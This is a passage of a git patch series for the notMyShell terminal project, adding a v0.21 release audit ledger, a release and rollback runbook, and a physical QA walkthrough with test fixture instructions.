reader has the terminal, so its output is not journaled). The journal is - // written after the screen (later on a slower host): wait for this run's own record first. - const journaled = async () => (await records(sandbox)).filter(entry => entry.command === read.command); - if (shell !== 'fish') await until(async () => (await journaled()).length > before, 15_000, `${what}: journaled`); + // Exactly once, from the journal. const record = (await journaled()).at(-1); if (shell !== 'fish' && read.keys === 'hello') assert.equal(record?.output.match(/ANSWER=hello/gu)?.length, 1, `${what}: answered exactly once`); await pause(400); From 31ea80fc8c5ac528870a7104c901cdb51a1abf6c Mon Sep 17 00:00:00 2001 From: raiseCatError <315733358+raiseCatError@users.noreply.github.com> Date: Sun, 18 Oct 2026 21:27:47 +0530 Subject: [PATCH 044/157] v0.21 release audit: integrated state, verification, QA walkthrough and runbook MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit The ledger records the merged state (#411–#424 on dev at 433af8fd, each merge commit), CI on that exact commit, the local gates, benchmarks, the code review's findings (#425, #426, #427), the issue and PR disposition (#403 and #394 closed) and the remaining release gates. The physical QA checklist gains 3.9 (#425) and a walkthrough: three sittings over the twelve passes, with what is unavailable on the QA Mac and the coverage that exists instead. scripts/qa/v021-fixtures.sh builds every fixture in one new folder, with a launcher that gives the QA build its own configuration and session service. The runbook follows the v0.20 release: release branch, merge into master, tag on the merge commit, GitHub release, a manual tap PR, website sync and the approved manual publish, then the post-release smoke and rollback. --- docs/development/v021-ledger.md | 154 ++++++++++++++++++----- docs/development/v021-release-runbook.md | 126 +++++++++++++++++++ docs/testing/v021-physical-qa.md | 96 +++++++++++++- scripts/qa/v021-fixtures.sh | 140 +++++++++++++++++++++ 4 files changed, 477 insertions(+), 39 deletions(-) create mode 100644 docs/development/v021-release-runbook.md create mode 100755 scripts/qa/v021-fixtures.sh diff --git a/docs/development/v021-ledger.md b/docs/development/v021-ledger.md index 69a3cc08..11872072 100644 --- a/docs/development/v021-ledger.md +++ b/docs/development/v021-ledger.md @@ -7,27 +7,28 @@ Automated results here are not physical-terminal validation. ## Baseline (verified 2026-10-18) - `master` = `dev` = `6af5cbab`; latest release v0.20.0 (`65e4de55`); CI green on both. -- Open PRs: draft #394 (`/track` first slice, based on an older line; reconciled by hand in slice 5, not merged). +- Open PRs: draft #394 (`/track` first slice, based on an older line; reconciled by hand in slice 5, not merged; + closed as superseded by #416 in the release audit). - Work happens in disposable worktrees under `/Volumes/T7Tmp/ai-dev/worktrees/notMyShell/`; scratch on the T7. ## Slices | # | Slice | Issues | Branch / PR | Merged commit | State | | --- | --- | --- | --- | --- | --- | -| 0 | Design and ledger | #410 | `docs/v021-design` / [#411](https://github.com/raiseCatError/notMyShell/pull/411) → `dev` | | PR open, CI green | -| 1 | Reliability gates | #403, #408, #388 | `fix/v021-reliability` / [#412](https://github.com/raiseCatError/notMyShell/pull/412) → #411 | | PR open, CI green | -| 2 | `/view` | #397, #402 | `feature/v021-view` / [#413](https://github.com/raiseCatError/notMyShell/pull/413) → #412 | | PR open, CI green | -| 3 | `/edit` | #402 | `feature/v021-edit` / [#414](https://github.com/raiseCatError/notMyShell/pull/414) → #413 | | PR open, CI green | -| 4 | Semantic Output | #386 | `feature/v021-semantic` / [#415](https://github.com/raiseCatError/notMyShell/pull/415) → #414 | | PR open, CI green (one rerun) | -| 5 | `/track` | #393 (#394) | `feature/v021-track` / [#416](https://github.com/raiseCatError/notMyShell/pull/416) → #415 | | PR open, CI green | -| 6 | Modules and diagnostics | #364, #365 | `feature/v021-modules` / [#417](https://github.com/raiseCatError/notMyShell/pull/417) → #416 | | PR open, CI green (one rerun) | -| 7 | Themes and controls | #401, #336 | `feature/v021-themes` / [#418](https://github.com/raiseCatError/notMyShell/pull/418) → #417 | | PR open, CI green | -| 8 | Checkpoint ledger | #410 | `docs/v021-checkpoint` / [#419](https://github.com/raiseCatError/notMyShell/pull/419) → #418 | | PR open, CI green | -| 9 | `/track` refresh and finalization lifecycle | #393 | `fix/v021-track-review-hardening` / [#420](https://github.com/raiseCatError/notMyShell/pull/420) → #419 | | PR open, CI green | -| 10 | `/track` review: repetition safety gate, process cleanup, presentation | #393 | `fix/v021-stabilize` / [#421](https://github.com/raiseCatError/notMyShell/pull/421) → #420 | | PR open, CI green | -| 11 | Flaky CI at the cause | #410 | `fix/v021-flaky-tests` / [#422](https://github.com/raiseCatError/notMyShell/pull/422) → #421 | | PR open, CI green | -| 12 | Bugs: #388 wrapped rows, command colors after a slow zshrc, #365 width | #388, #408, #365 | `fix/v021-bugs` / [#423](https://github.com/raiseCatError/notMyShell/pull/423) → #422 | | PR open, CI green | -| 13 | Stabilization ledger (this) | #410 | `docs/v021-stabilization` → #423 | | PR open | +| 0 | Design and ledger | #410 | `docs/v021-design` / [#411](https://github.com/raiseCatError/notMyShell/pull/411) → `dev` | `a412fe53` | Merged into `dev` | +| 1 | Reliability gates | #403, #408, #388 | `fix/v021-reliability` / [#412](https://github.com/raiseCatError/notMyShell/pull/412) → #411 | `3282ad40` | Merged into `dev` | +| 2 | `/view` | #397, #402 | `feature/v021-view` / [#413](https://github.com/raiseCatError/notMyShell/pull/413) → #412 | `e945c75a` | Merged into `dev` | +| 3 | `/edit` | #402 | `feature/v021-edit` / [#414](https://github.com/raiseCatError/notMyShell/pull/414) → #413 | `934ba7ce` | Merged into `dev` | +| 4 | Semantic Output | #386 | `feature/v021-semantic` / [#415](https://github.com/raiseCatError/notMyShell/pull/415) → #414 | `a97b3f77` | Merged into `dev` (one rerun) | +| 5 | `/track` | #393 (#394) | `feature/v021-track` / [#416](https://github.com/raiseCatError/notMyShell/pull/416) → #415 | `a5f2fd69` | Merged into `dev` | +| 6 | Modules and diagnostics | #364, #365 | `feature/v021-modules` / [#417](https://github.com/raiseCatError/notMyShell/pull/417) → #416 | `ac543bd0` | Merged into `dev` (one rerun) | +| 7 | Themes and controls | #401, #336 | `feature/v021-themes` / [#418](https://github.com/raiseCatError/notMyShell/pull/418) → #417 | `0ea7ca39` | Merged into `dev` | +| 8 | Checkpoint ledger | #410 | `docs/v021-checkpoint` / [#419](https://github.com/raiseCatError/notMyShell/pull/419) → #418 | `f8e53541` | Merged into `dev` | +| 9 | `/track` refresh and finalization lifecycle | #393 | `fix/v021-track-review-hardening` / [#420](https://github.com/raiseCatError/notMyShell/pull/420) → #419 | `d612f120` | Merged into `dev` | +| 10 | `/track` review: repetition safety gate, process cleanup, presentation | #393 | `fix/v021-stabilize` / [#421](https://github.com/raiseCatError/notMyShell/pull/421) → #420 | `0eca52d6` | Merged into `dev` | +| 11 | Flaky CI at the cause | #410 | `fix/v021-flaky-tests` / [#422](https://github.com/raiseCatError/notMyShell/pull/422) → #421 | `ac0f780a` | Merged into `dev` | +| 12 | Bugs: #388 wrapped rows, command colors after a slow zshrc, #365 width | #388, #408, #365 | `fix/v021-bugs` / [#423](https://github.com/raiseCatError/notMyShell/pull/423) → #422 | `7cb857f4` | Merged into `dev` | +| 13 | Stabilization ledger | #410 | `docs/v021-stabilization` / [#424](https://github.com/raiseCatError/notMyShell/pull/424) → #423 | `433af8fd` | Merged into `dev` | ## Decisions @@ -63,7 +64,9 @@ toggle, copy flags, Off). Slice 5: section 5 (`/track` block, refresh, copy, sto ## Open risks -- Merging into `dev`: see "Ordered integration" below. Use regular merge commits, in order. +- Merging into `dev`: done (see "Ordered integration" below). +- #426 (pre-existing): under heavy load, a reply typed right after a prompt-less read starts can be queued. Its live + test can fail on a loaded host; the test's own race is fixed in #427. - #388: absolute rows (`CSI H/f/d`) are deliberately not mapped and scroll regions are not emulated (a program's status row below its region is not stored); the contract is explicit and tested (stabilization). - Nothing in v0.21 has had a physical-terminal pass yet. Every slice issue stays open until its pass is recorded. @@ -165,27 +168,110 @@ runs the maintainer's containers); `docker system df` stays the one Docker verb ## Ordered integration -`dev` is unprotected and allows merge commits; merged branches are not deleted automatically. Merge with regular merge -commits, in order: #411 into `dev`; then for each of #412 … #423 and this ledger PR, retarget it to `dev` -(`gh pr edit N --base dev`), check that its diff shows only its own changes, and merge it (`gh pr merge N --merge`). -Then let `dev` CI pass (push runs include Fedora and both timing smokes) and run `npm run verify:release` on `dev`. +Done on 2026-10-18. #411 to #424 were merged into `dev` in order with regular merge commits (table above). `dev` is +`433af8fd`, whose tree is identical to #424's head `06bc2034`. Every PR head is an ancestor of `dev`, and so is +`master` (`6af5cbab`), so the release needs no conflict resolution. + +## Release audit (2026-10-18) + +An independent pass over the integrated `dev` at `433af8fd`, from a clean detached worktree on the T7 (`npm ci`: 25 +packages, 0 vulnerabilities). Machine: macOS 27 arm64, 8 GB, Node 26.10.0, zsh 5.9, Bash 5.3.20, Fish 4.9.3, with +`NMSH_TEST_TMPDIR=/Volumes/T7Tmp/ai-dev`. It was shared throughout (a browser, ten Docker containers in a VM, another +agent session), with 5.4–6.7 GB of swap in use. + +**CI on the exact commit.** Push run [39135227830](https://github.com/raiseCatError/notMyShell/actions/runs/39135227830) +on `433af8fd`: all 13 jobs green. That covers Quality (Node 26: build, benchmark typecheck, fast suite, diff check), +the full suite on macOS and Ubuntu (Node 26, two shards each), Node 22 compatibility, the Fedora portability subset, +timing smoke on macOS and Ubuntu, and the `CI` and `Verify (22.x, 26.x)` aggregates. + +**Local gates on `433af8fd`.** + +| Gate | Result | +| --- | --- | +| `npm ci` | PASS, 0 vulnerabilities | +| `npm run build` | PASS | +| `npm test` (canonical suite, 4 workers) | FAIL: 3,142 tests, 3,139 pass, 2 skipped, 1 fail, 553 s, load 3 rising to 16 | +| `npm run typecheck:bench` | PASS (run on its own: `verify:release` stops at its first failing step) | +| `npm run bench:smoke` | PASS, every budget, at load 4–5 | +| `git diff --check` | PASS | + +The failure is `inputOwnershipLive` → `live zsh: a waiting read gets the answer typed at once …`. The answer to a +prompt-less `read` was queued, so the read never got it. The file alone passed 3/3 at load 5–8. Four copies at once +(load rising from 8 to 27–33) failed in 2 of 4 copies on `dev` and 3 of 4 on `master` `6af5cbab`, so this is +pre-existing, not from v0.21. Two mechanisms, told apart by a diagnostic run that recorded the queue entries: + +- **Product, pre-existing, open as #426.** A key typed before NMSh has evidence that the command reads input is + held for at most 800 ms while the session looks. On macOS a prompt-less read needs two process-table samples, and + when the look misses the deadline, Enter queues. This was the full-suite failure, and it reappeared at load 20–33 + after the test fix. It was not seen at ordinary load or in CI. +- **Test race, fixed in #427.** The test typed its follow-up `echo BACK-…` as soon as the answer's output appeared + and checked the queue at once. Before the shell's prompt for the answered command arrives, Enter queues, as designed. + This was the CI failure on #425 (Ubuntu) and most of the parallel failures; the recorded entry was the test's own + follow-up. + +**Benchmarks** (`bench:smoke` at `433af8fd`, load 4–5), p50: pty-ready 24 ms, service-ready 233 ms, cold context +collection 50 ms, every-module render 40 ms, configured completion warm 8.8 ms, `transcript/wrap-present-10000` 41 ms, +`transcript/wrap-present-100000` 444 ms. Every one is within budget and within noise of the stack-head numbers above. + +**Code review,** highest impact first: `/edit` saving, `/view` loading, the `/track` lifecycle (`WatchTasks`, +`repeatSafety`, `trackBlock` and the `TerminalApp` wiring), the parser's live region, Semantic Output bounds and caching, +`SemanticService` startup timing, the new module capabilities, and what the Homebrew formula installs. + +- Fixed in #425: a new file in a folder reached through a symlink (macOS `/tmp`, `/var/folders`) hit a false "was + replaced on disk" conflict on its second save. The new file kept its unresolved path as its real path. The + regression fails on `dev`. Physical check 3.9. +- Fixed in #427 (test only): the race above. +- Filed as #426: the product behavior above. +- Noted, not changed: + - The reattach notice says `zsh pid` for every shell (`TerminalApp.finishReplay`, since `b0bd6878`, before shell + backends). Cosmetic. + - `clear` removes `/track` blocks with every other block. The tracker keeps running and its summary row stays, and + `/track stop` writes the final result, which matches `clear`'s contract. + - Stopped trackers keep their last two results until 128 records accumulate. That is bounded, but not small. +- Checked, no defect found: + - `/view` refuses FIFOs and devices before anything blocks, reads in bounded chunks and cuts UTF-8 on a character + boundary. + - `/edit` uses an exclusive temporary file, syncs it, checks the original's identity before renaming, refuses hard + links and keeps symlinks. + - `/track` runs each sample in its own process group, escalates TERM to KILL, ends stragglers after every sample, + refuses overlapping refreshes and ends everything when the window closes. + - `SemanticService` resolves pending lookups when it is killed during startup. + - Semantic readings are cached per record in a `WeakMap`. + - The built-in context packs are copied into `dist`, and the Homebrew formula's install list still covers every + file v0.21 reads at runtime: all new code compiles into `dist`, and no new assets were added. + +**Issues and PRs.** + +- Closed: #403 (a test fixture; verified on `dev` and in CI). Draft PR #394, as superseded by #416 (its scheduler, + panel and all 8 tests are on `dev`). +- Open until their physical passes are recorded: #388, #393, #397, #401, #402, #408 (pass 1.7), #364, #365, #386 and + #336. The work still out of scope stays on each issue: + - #386: external providers, a fully collapsed raw view and a separate semantic search scope. + - #401: four families deferred. + - #402: the provider registry (#366). + - #364: Kotlin/Scala, Lua and Haskell as candidates. + - #365: no per-segment truncation trace for the Main Prompt. + - #336: no other surface needed a new control. +- #356 stays open: it was not reproduced, and passing its reproducer does not close it. +- #410 tracks the release. ## Release readiness -Not ready to release; ready for integration. Exact-head CI on the stack head `e8411e1a` is green in every job, including -Fedora portability and both timing smokes. Remaining gates, in order: +**Not released, and not ready to ship until physical QA passes.** Integration, exact-commit CI and the code review are +done. Remaining gates, in order: -1. **Integration** (maintainer, or the agent where its permission policy allows): the ordered merges above, #411 to - #423 and this ledger PR, with regular merge commits; then `dev` CI green on push. -2. **Local `npm run verify:release` on `dev`** at normal machine load (the in-session runs were overloaded; see above). -3. **Physical QA, mandatory and not run**: every pass in the [checklist](../testing/v021-physical-qa.md), in Ghostty - and Terminal.app, recorded in its results table. Headless PTY tests and CI do not count. -4. Then close the issues whose acceptance is met (#388, #393, #397, #401, #402 viewer and editor phases, #403, #408, - #364, #365, #386 first phase, #336 where applicable), move `[Unreleased]` to `[0.21.0]` in the changelog, and - prepare the tag, release notes and distribution. Tagging, the GitHub release, the Homebrew tap and the website - deploy stay with the maintainer. +1. Merge #425 and #427 into `dev` once their CI is green. This ledger's PR follows. +2. **Release candidate:** a `release/v0.21.0` branch from `dev` with one commit holding the version (`0.21.0`), the + changelog's `[0.21.0]` candidate section and the status pointers, opened as a draft PR to `master`, as v0.20 did + (#392). Then dispatched CI on its exact head (Fedora and both timing smokes) and a local `verify:release` on it. +3. **Physical QA, mandatory and not run:** every pass in the [checklist](../testing/v021-physical-qa.md), on the + candidate build, recorded in its results table. Headless PTY tests and CI do not count. +4. Then, with the maintainer's go-ahead: date the changelog section, merge the release PR into `master`, then the tag, + GitHub release, Homebrew tap and website, as in the [release runbook](v021-release-runbook.md). Close the issues + whose acceptance is met. -Known limitations shipped deliberately: `/track` is window-owned (stops on detach); Semantic Output is its first +Known limitations shipped deliberately: `/track` is window-owned (it stops on detach); Semantic Output is its first phase (no `jc`/`delta` providers); inline absolute cursor positioning is not mapped and scroll regions are not -emulated (#388 contract); the Main Prompt has no per-segment truncation trace (#365); four theme families deferred -(#401); type-ahead *during* a Fish read stays subject to Fish's own editor queries (#356). +emulated (#388 contract); the Main Prompt has no per-segment truncation trace (#365); four theme families are deferred +(#401); type-ahead *during* a Fish read stays subject to Fish's own editor queries (#356); on a heavily loaded machine +a reply typed within about a second of starting a prompt-less read can be queued (#426, pre-existing). diff --git a/docs/development/v021-release-runbook.md b/docs/development/v021-release-runbook.md new file mode 100644 index 00000000..211f6e7f --- /dev/null +++ b/docs/development/v021-release-runbook.md @@ -0,0 +1,126 @@ +# v0.21.0 release runbook + +The exact steps from the v0.21 release candidate to a published v0.21.0, following the v0.20.0 release (PR #392, +tag `v0.20.0` on its merge commit, Homebrew tap PR #3, website sync). State and evidence are in the +[ledger](v021-ledger.md). **Nothing here runs without the maintainer's go-ahead after physical QA.** Tagging, the +GitHub release, the tap and the website deploy are public and hard to undo. + +## How a release moves + +`dev` → `release/v0.21.0` (one release-metadata commit) → PR into `master`, merged with a regular merge commit → +annotated tag `v0.21.0` on that merge commit → GitHub release (no uploaded assets; the source archive is GitHub's tag +archive) → Homebrew tap PR (source formula: `url` and `sha256` of the tag archive) → website sync PR into `master` → +manual **Publish NMSh website** dispatch, approved in the `nmsh-production` environment. No npm package is published +(`package.json` is `private`). `master` needs the `Verify (22.x)` and `Verify (26.x)` checks; the old GitHub Pages +deploy (`deploy.yml`) is disabled. + +## 0. Before starting + +- The physical QA results table has a recorded result for every row on the candidate build (or the maintainer has + decided, in writing, which rows a release may go without, as v0.20 did). +- Dispatched CI is green on the **exact** head of `release/v0.21.0`. Code changes need the full dispatch: Fedora and + both timing smokes run only on dispatch and push. +- `npm run verify:release` has run on that head locally, and any failure is explained by evidence. + +```sh +git fetch origin +RC=$(git rev-parse origin/release/v0.21.0) +gh run list --workflow CI --commit "$RC" --json event,conclusion,url # a workflow_dispatch run, success +``` + +## 1. Final release commit (on `release/v0.21.0`) + +1. `CHANGELOG.md`: `## [0.21.0] - Unreleased (release candidate)` becomes `## [0.21.0] - YYYY-MM-DD` (the + publication date); remove the candidate sentence; keep Compatibility, Upgrade notes and Known limitations accurate + to the QA results. Link references at the bottom: `[Unreleased]: …/compare/v0.21.0...HEAD` and + `[0.21.0]: …/compare/v0.20.0...v0.21.0`. +2. `docs/testing/v021-physical-qa.md`: the recorded results and the release decision. +3. README, ROADMAP, AGENTS, SECURITY, CONTRIBUTING and `llms.txt`: v0.21.0 is the current stable release. +4. Commit, push, dispatch CI on the new head and wait for it: + +```sh +gh workflow run CI --ref release/v0.21.0 +FINAL=$(git rev-parse origin/release/v0.21.0) +gh run list --workflow CI --commit "$FINAL" --json event,conclusion,url +``` + +## 2. Merge into `master` + +```sh +gh pr ready +gh pr merge --merge # a regular merge commit, as #392 +git fetch origin +MERGE=$(git rev-parse origin/master) +test "$(git rev-parse "$MERGE^{tree}")" = "$(git rev-parse "$FINAL^{tree}")" && echo "tree matches the verified commit" +``` + +## 3. Tag and GitHub release + +```sh +git tag -a v0.21.0 -m "v0.21.0 — " "$MERGE" +git push origin v0.21.0 +gh release create v0.21.0 --verify-tag --latest --title "v0.21.0 — <title>" --notes-file <notes.md> +``` + +The release body becomes the website's release page at the next sync. Write it from the changelog section (a shorter +summary is fine) and link to the full CHANGELOG. + +## 4. Verify the published source + +In a shell started with `t7run zsh` (so `$T7_RUN_DIR` is a scratch directory on the T7): + +```sh +mkdir -p "$T7_RUN_DIR/v021-archive" && cd "$T7_RUN_DIR/v021-archive" +curl -fsSL -o v0.21.0.tar.gz https://github.com/raiseCatError/notMyShell/archive/refs/tags/v0.21.0.tar.gz +shasum -a 256 v0.21.0.tar.gz # the tap's sha256 +tar -xOzf v0.21.0.tar.gz notMyShell-0.21.0/package.json | grep '"version"' # "0.21.0" +mkdir src && tar -xzf v0.21.0.tar.gz -C src && cd src/notMyShell-0.21.0 +npm ci && npm run build && node dist/index.js --version # notMyShell 0.21.0, build <MERGE short sha> +``` + +## 5. Homebrew tap (`raiseCatError/homebrew-tap`) + +The scheduled `brew bump` failed daily from 2026-10-13 to 10-17 (`depends_on "python"`); v0.20.0 was a manual PR (#3). +Do the same unless an autobump PR for 0.21.0 has already appeared and is correct: + +1. Branch `nmsh-0.21.0`; in `Formula/nmsh.rb` set `url` to `…/archive/refs/tags/v0.21.0.tar.gz` and `sha256` to the + value from step 4. Nothing else needs changing: every file v0.21 reads at runtime is in `dist`, and the formula's + install list is unchanged since v0.20. +2. Open the PR; `tests.yml` (`brew test-bot`) must pass on macOS and Linux; merge (source-only formula, no bottles). +3. Locally: `brew update && brew upgrade raiseCatError/tap/nmsh && nmsh --version`. + +## 6. Website + +After the tap PR is merged (the sync records the tap's version, and the deploy checks it again): + +```sh +cd website && npm ci +npm run sync:upstream -- --published v0.21.0 --version 0.21.0 +npm test && npm run check && npm run build:launch && npm run test:browser +``` + +Open a PR into `master` with the result. Once it is merged, dispatch **Publish NMSh website** from `master` with the +confirmation `nmsh.raisecaterror.com`, approve the `nmsh-production` deployment, and check the live site. + +## 7. After the release + +- Smoke on the published build: a Homebrew install (`nmsh --version`, start in Ghostty, run a command, `/view + README.md`, `/track df -h`, `/track stop`, `exit`) and a source install's `/update` (offers v0.21.0 as the latest + stable release). +- Bring `dev` to `master`: `git switch dev && git pull --ff-only origin dev && git merge --ff-only origin/master && + git push origin dev` (`master` = `dev` after v0.20 too). +- Close the issues whose acceptance is met, with the physical results; keep partial ones open with the remaining + scope (ledger, "Issues and PRs"). + +## Rollback + +- **Before the tag:** nothing is public yet. A bad merge into `master` is reverted through a PR. +- **A bad release after publication:** fix forward with v0.21.1. A pushed tag may already be cached by Homebrew, + GitHub's archive and users, so do not move or recreate it. Meanwhile: + - `gh release edit v0.20.0 --latest` makes `/update` (it reads `releases/latest`) offer v0.20.0 again. + - Mark v0.21.0 as a prerelease (`gh release edit v0.21.0 --prerelease`) so it is no longer offered. + - Revert the tap PR (formula back to the v0.20.0 `url` and `sha256`) through a tap PR. + - Website: revert its sync PR on `master` and dispatch the publish again (approval required), or roll the Pages + project back to its previous deployment. +- **The tag points at the wrong commit and nothing has consumed it yet** (no release, tap or sync): delete it + (`git push --delete origin v0.21.0`) and tag the verified merge commit. Otherwise fix forward. diff --git a/docs/testing/v021-physical-qa.md b/docs/testing/v021-physical-qa.md index 42d2a7e1..2206075d 100644 --- a/docs/testing/v021-physical-qa.md +++ b/docs/testing/v021-physical-qa.md @@ -2,13 +2,17 @@ ## Status -- **Candidate, not released.** Items are added as each v0.21 slice lands ([ledger](../development/v021-ledger.md)). - Nothing below has been run yet. +- **Candidate, not released.** Every v0.21 slice is merged into `dev` (#411–#424, `433af8fd`); see the + [ledger](../development/v021-ledger.md). Nothing below has been run yet. The [walkthrough](#walkthrough) groups the + passes into three sittings with ready-made fixtures. - **What does not count:** headless PTY fixtures, synthetic keys, captures of a window driven that way, and green CI. Each item needs a person at a real terminal with a real keyboard and pointer. -- **Build under test:** record the exact commit (`node dist/index.js --version`) built from a clean checkout - (`npm ci && npm run build`). -- **Isolation:** a throwaway `HOME` (or `XDG_CONFIG_HOME`) and a temporary working directory. +- **Build under test:** the release candidate commit, built from a clean checkout (`npm ci && npm run build`); record + `node dist/index.js --version` (version and build commit) in every row. +- **Isolation:** `scripts/qa/v021-fixtures.sh` makes a throwaway folder with its own NMSh configuration + (`XDG_CONFIG_HOME`) and session service (`NMSH_RUNTIME_DIR`), so the QA build neither reads your settings nor + attaches to your running sessions. `HOME` is unchanged: your shell's own startup files run as usual, and copy + items replace your clipboard. ## Results @@ -27,6 +31,85 @@ | 7 Themes | Ghostty | macOS | zsh | | Not run | | | 7 Themes | Terminal.app | macOS | zsh | | Not run | | +Not available on the QA Mac, with the coverage that exists instead: 1.5b (`apt` progress; Linux only: parser and live +PTY tests, Ubuntu and Fedora CI), 4.3 `cargo build` (not installed; Rust diagnostics recognizer tests), 6.2 +(`nix-shell`; the module reads only `IN_NIX_SHELL`, unit-tested), 6.3 inside a container (marker files and host +variables, unit-tested; the host half is checked here). Each stays *Not run* in the table, never *Pass*. + +## Walkthrough + +Three sittings, about 90 minutes in all. Every command below is typed in NMSh unless it says "second tab". + +**Prepare once.** In a plain terminal window (not inside NMSh): + +```sh +cd /Volumes/T7Tmp/ai-dev/worktrees/notMyShell/v021-qa # the release candidate build +node dist/index.js --version # record version and build commit +scripts/qa/v021-fixtures.sh /Volumes/T7Tmp/ai-dev/q21 +``` + +Each sitting starts from a plain window: `/Volumes/T7Tmp/ai-dev/q21/nmsh` (zsh), `… nmsh fish` or `… nmsh bash`. NMSh +opens in `q21/work`; paths below are relative to it. Quit with `exit`. If a launch offers to resume a detached +session (after 5.8), press R and `exit` it. + +**Reporting.** One line per pass, for example `Pass 2 · Ghostty 1.3.1 · zsh 5.9: PASS` or `Pass 2: FAIL 2.7 (the FIFO +hung)`; a screenshot helps. Each result is recorded in the table with the build commit. A skipped item is *Not run*. + +### Sitting A: Ghostty, zsh (passes 1–7, about 60 minutes) + +1. **Progress.** 1.1 as listed, then at 40 columns. 1.2 `node progress/multirow.mjs`: two `layer` rows count up in + place; `LOG pulling two layers`, `LOG checkpoint 1`–`4` and `LOG done` all stay, in order. 1.3 `node + progress/multirow.mjs 120` (30 s) while you resize. 1.4 `/copy`, then `pbpaste`: the final rows once. 1.5 as listed. + 1.5a at 40 columns `node progress/wrapped.mjs`: both `LOG kept line` lines and `LOG done` stay, with one `Downloading + … 100%` and one `eta 0s`. 1.6 `vim view/tabs.txt`, `less view/README.md`, `top` (htop is not installed). 1.7 `sleep + 5`, then `ls` Ctrl+Q and `pwd` Ctrl+Q while it runs. +2. **`/view`.** 2.1 `/view view/README.md`. 2.2 `/view view/ViewerPanel.ts`. 2.3 in either. 2.4 as listed. 2.5 `/view + view/tabs.txt`, `c`, Esc, `pbpaste | cat -vet`: `^I` between columns, `$` only at line ends. 2.6 `/view + view/hostile.txt`. 2.7 `/view view/folder`, `view/missing.txt`, `/dev/zero`, `view/fifo` (returns at once), + `/bin/ls`, `view/big.log` (20 MB: the first 8 MiB with a note). 2.8 as listed, with `node progress/multirow.mjs 120` + running. 2.9 in step 8. +3. **`/edit`.** 3.1 `cd edit/empty`, then as listed, with `cat -vet notes.txt` (macOS `cat` has no `-A`): `^I` and a + final `$`. 3.2–3.4 on that file. 3.5 second tab: `echo x >> /Volumes/T7Tmp/ai-dev/q21/work/edit/empty/notes.txt`. + `cd ../..`. 3.6 `/edit edit/crlf-bom.txt`, change a word, save; `xxd edit/crlf-bom.txt | head -1` starts `efbb bf` + and lines end `0d0a`. `/edit edit/mode640.txt`, save, `ls -l edit/mode640.txt` is `-rw-r-----`. `/edit + edit/link.txt`, save, `ls -l edit/link.txt` still points to `target.txt`. 3.7 `/edit /bin/ls`, `/etc/hosts`, + `edit/big.txt` (2 MB), `edit/readonly.txt`, then `/view` each. 3.8 with `view/README.md` and `edit/target.txt`. + 3.9 `/edit edit/alias/new.txt` (`alias` links to `real`). +4. **Semantic Output.** 4.1 `cd semantic/pass && npm test` (40 passing tests stand in for this repository's suite). + 4.2 `cd ../fail && npm test` (2 failing). 4.3 `cd ../ts && npx --no-install tsc --noEmit bad.ts` (2 errors); `cd + ../c && make` (1 error). 4.4 `cd ../../git && git status`, `ls`, `cat tracked.txt`. 4.5 back in `semantic/fail`, + `npm test`, then as listed, with `pbpaste` after each copy. 4.6 as listed. 4.7 in step 8. `cd ../..` when done. +5. **`/track`.** 5.1 `/track df -h`; `/track --every 5s -- docker system df` is optional (read-only, but it asks your + Docker daemon every 5 s). 5.2 `/track --every 2s -- cat track/f.txt`; second tab: `seq 1 2 > + /Volumes/T7Tmp/ai-dev/q21/work/track/f.txt`, then `seq 1 40 > …`. 5.3–5.7 as listed (5.7's `/tmp/t` commands are + refused and never run; answer No to the ones that ask). 5.8 `/track --every 3s -- sh -c 'sleep 2; echo QA-TRACK'` + (Yes), close the window while it runs, then in a new window `pgrep -fl QA-TRACK` prints nothing. 5.9 and 5.10 as + listed. 5.11 in step 8. +6. **Modules.** 6.1 `cd modules/bun-app`, `/modules`: Bun is recommended; enabled, typing `bun` shows `1.1.30` + requested (Bun is not installed, so nothing active). 6.2 Not run (no Nix). 6.3 on this Mac the container module shows + nothing; the in-container half is Not run. 6.4 and 6.5 as listed. `cd ../..`. +7. **Themes.** 7.1–7.3 as listed. 7.4 in step 8. 7.5 second tab, before and after switching themes: `shasum + "$HOME/Library/Application Support/com.mitchellh.ghostty/config"*`: unchanged. Older configuration: `exit`, then in + a plain window `mkdir -p /Volumes/T7Tmp/ai-dev/q21/config-copy/nmsh && cp "$HOME/Library/Application + Support/notMyShell/config.json" /Volumes/T7Tmp/ai-dev/q21/config-copy/nmsh/` and `/Volumes/T7Tmp/ai-dev/q21/nmsh + copy`: the theme and prompt saved by your v0.20 install load unchanged (only the copy can change). +8. **No color and Safe glyphs** (2.9, 4.7, 5.11, 7.4). `exit`, relaunch as `NO_COLOR=1 /Volumes/T7Tmp/ai-dev/q21/nmsh`, + Settings → Appearance → Safe glyphs, then 2.9 on `view/README.md`, 4.7 in `semantic/fail` at 40 columns, 5.11 with + `/track df -h`. Then 7.4's second half: `exit`, relaunch as `env -u COLORTERM TERM=xterm-256color + /Volumes/T7Tmp/ai-dev/q21/nmsh` and switch between two new themes. + +### Sitting B: Terminal.app, Fish (passes 1, 3 and 5, about 20 minutes) + +`/Volumes/T7Tmp/ai-dev/q21/nmsh fish`, then 1.1–1.7 (not 1.5b), 3.1–3.9 and 5.1–5.10 as in sitting A, and 5.11 with +`NO_COLOR=1 /Volumes/T7Tmp/ai-dev/q21/nmsh fish` as in step 8. Terminal.app is a 256-color terminal: note anything that +reads differently from Ghostty. + +### Sitting C: Terminal.app, zsh (passes 2 and 7, about 15 minutes) + +`/Volumes/T7Tmp/ai-dev/q21/nmsh`, then 2.1–2.8 and 7.1–7.5 as in sitting A, and 2.9 and 7.4 as in step 8. + +When every result is recorded: `rm -rf /Volumes/T7Tmp/ai-dev/q21`. + ## 1. Multi-row progress redraws (#388) - [ ] 1.1 `node -e 'for (let i=0;i<=10;i++){process.stdout.write((i?"\x1b[1A\x1b[2K":"")+"Downloading "+i*10+"%\n")}'` @@ -80,6 +163,9 @@ (`chmod 444`) each explain why, and `/view` still opens them. - [ ] 3.8 `e` in `/view README.md` opens the editor on the same file; `vim notes.txt` and `nano notes.txt` still run as usual from the composer. +- [ ] 3.9 A new file in a folder reached through a symlink (macOS `/tmp`, or `alias -> real`): `/edit alias/new.txt`, + type a line, Ctrl+S, type another, Ctrl+S: *Saved* both times and no conflict question (#425); `real/new.txt` has + both lines. ## 4. Semantic Output diff --git a/scripts/qa/v021-fixtures.sh b/scripts/qa/v021-fixtures.sh new file mode 100755 index 00000000..be209355 --- /dev/null +++ b/scripts/qa/v021-fixtures.sh @@ -0,0 +1,140 @@ +#!/usr/bin/env bash +# Fixtures for the v0.21 physical QA walkthrough 